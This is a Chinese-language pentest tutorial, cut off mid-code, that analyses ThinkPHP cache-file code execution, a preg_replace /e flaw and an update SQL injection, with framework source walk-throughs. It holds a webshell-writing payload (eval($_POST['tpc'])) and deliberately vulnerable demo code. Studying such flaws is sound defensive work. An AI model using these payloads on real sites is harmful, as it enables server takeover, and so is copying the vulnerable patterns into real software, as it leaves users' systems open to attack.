更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一
中间件漏洞
一.RCE
ThinkPHP3.2.3缓存函数设计缺陷可导致代码执行
概述
网站为了提高访问效率往往会将用户访问过的页面存入缓存来减少开销。
而Thinkphp 在使用缓存的时候是将数据序列化,然后存进一个 php 文件中,这使得命令执行等行为成为可能。
就是缓存函数设计不严格,导致攻击者可以插入恶意代码,直接getshell。
实验环境
redhat6+apache2+Mysql+php5+thinkphp3.2.3
漏洞利用
将 application/index/controller/Index.php 文件中代码更改如下:
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}
访问 http://localhost/tpdemo/public/?username=xxx%0d%0aphpinfo();//
, 即可将 webshell 等写入缓存文件。
漏洞分析
先找到Cache.class.php文件,也就是缓存文件,关键代码:
/**
* 连接缓存
* @access public
* @param string $type 缓存类型
* @param array $options 配置数组
* @return object
*/
public function connect($type='',$options=array()) {
if(empty($type)) $type = C('DATA_CACHE_TYPE');
$class = strpos($type,'\\')? $type : 'Think\\Cache\\Driver\\'.ucwords(strtolower($type));
if(class_exists($class))
$cache = new $class($options);
else
E(L('_CACHE_TYPE_INVALID_').':'.$type);
return $cache;
这里读入配置,获取实例化的一个类的路径,路径是:Think\Cache\Driver\
这里我尝试了var_dump($class
)和echo $class
直接浏览器访问Cache.class.php都无法像那篇帖子一样打印出$class
,后来才发现添加数据写入缓存页面跳转才打印了Think\Cache\Driver\File
。
关键代码:
/**
* 取得缓存类实例
* @static
* @access public
* @return mixed
*/
static function getInstance($type='',$options=array()) {
static $_instance = array();
$guid = $type.to_guid_string($options);
if(!isset($_instance[$guid])){
$obj = new Cache();
$_instance[$guid] = $obj->connect($type,$options);
}
return $_instance[$guid];
}
public function __get($name) {
return $this->get($name);
}
public function __set($name,$value) {
return $this->set($name,$value);
}
public function __unset($name) {
$this->rm($name);
}
public function setOptions($name,$value) {
$this->options[$name] = $value;
}
public function getOptions($name) {
return $this->options[$name];
}
这里实例化了那个类,我们重点关注set方法,接着直接找到这个路径下的File.class.php吧。
关键代码:
public function set($name,$value,$expire=null) {
N('cache_write',1);
if(is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->filename($name);
$data = serialize($value);
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data,3);
}
if(C('DATA_CACHE_CHECK')) {
//开启数据校验
$check = md5($data);
}else {
$check = '';
}
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
$result = file_put_contents($filename,$data);
if($result) {
if($this->options['length']>0) {
// 记录缓存队列
$this->queue($name);
}
clearstatcache();
return true;
}else {
return false;
}
}
这就是写入缓存的set方法,对传入的数据进行了序列化和压缩,
重点看这两句:
$data = “<?php\n//”.sprintf(‘%012d’,$expire).$check.$data.”\n?>”;
$result = file_put_contents($filename,$data);
简单拼接一下就写入文件了,Bug就出现在这里,这时来看看我们
payload:
%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f
解码后就是:
换行+eval(%_POST[‘tpc’]);//
就写入恶意代码了。
最后看看文件名:
/**
* 取得变量的存储文件名
* @access private
* @param string $name 缓存变量名
* @return string
*/
private function filename($name) {
$name = md5(C('DATA_CACHE_KEY').$name);
if(C('DATA_CACHE_SUBDIR')) {
// 使用子目录
$dir ='';
for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
$dir .= $name{
$i}.'/';
}
if(!is_dir($this->options['temp'].$dir)) {
mkdir($this->options['temp'].$dir,0755,true);
}
$filename = $dir.$this->options['prefix'].$name.'.php';
}else{
$filename = $this->options['prefix'].$name.'.php';
}
return $this->options['temp'].$filename;
}
文件名就是md5加密值。
总结:这个thinkphp缓存函数设计bug,利用起来不难,但是感觉还是挺鸡肋。
原因是:
1.要开启缓存
2.虽然文件名是md5固定值,但是TP3可以设置 DATA_CACHE_KEY 参数来避免被猜到缓存文件名
3.缓存使用文件方式
4.缓存目录暴露在web目录下面可被攻击者访问。
Thinkphp 2.x、3.0-3.1版代码执行漏洞
漏洞分析
影响版本:Thinkphp 2.x、3.0-3.1
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
这段代码主要就是用explode把url拆开,然后再用
implode函数拼接起来,接着带入到
preg_replace`里面。
preg_replace
的/e模式,和php双引号都能导致代码执行的。
这句正则简化后就是 /(\w+)\/([^\/\/]+)/e
注:\w+
表示匹配任意长的[字母数字下划线]字符串,然后匹配 / 符号,再匹配除了/符号以外的字符。其实就是匹配连续的两个参数。
eg:www.dawn.com/index.php?s=1/2/3/4/5/6
每次匹配 1和2,3和4,5和6。、
\1是取第一个括号里的匹配结果,\2是取第二个括号里的匹配结果
也就是\1 取的是 1 3 5,\2 取的是 2 4 6。
那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。
而双引号是存在在 \2 外面的,那么就说明我们要控制的是偶数位的参数。
环境较为难找,本地模拟一下
漏洞复现
本地模拟:
<?php
$var = array();
preg_replace("/(\w+)\/([^\/\/]+)/ie",'$var[\'\\1\']="\\2";',$_GET[s]);
?>
二.注入
ThinkPHP3.2.3update注入漏洞
概述
thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,
其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是普及度高于新出的thinkphp5系列
由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接,并且当传入数组未过滤时导致出现了SQL注入。
漏洞分析
thinkphp系列框架过滤表达式注入多半采用I函数去调用think_filter
function think_filter(&$value){
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
一般按照官方的写法,thinkphp提供了数据库链式操作,其中包含连贯操作和curd操作。
在进行数据库CURD操作去更新数据的时候,利用update数据操作。
where来制定主键的数值,save方法去更新变量传进来的参数到数据库的指定位置。
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset(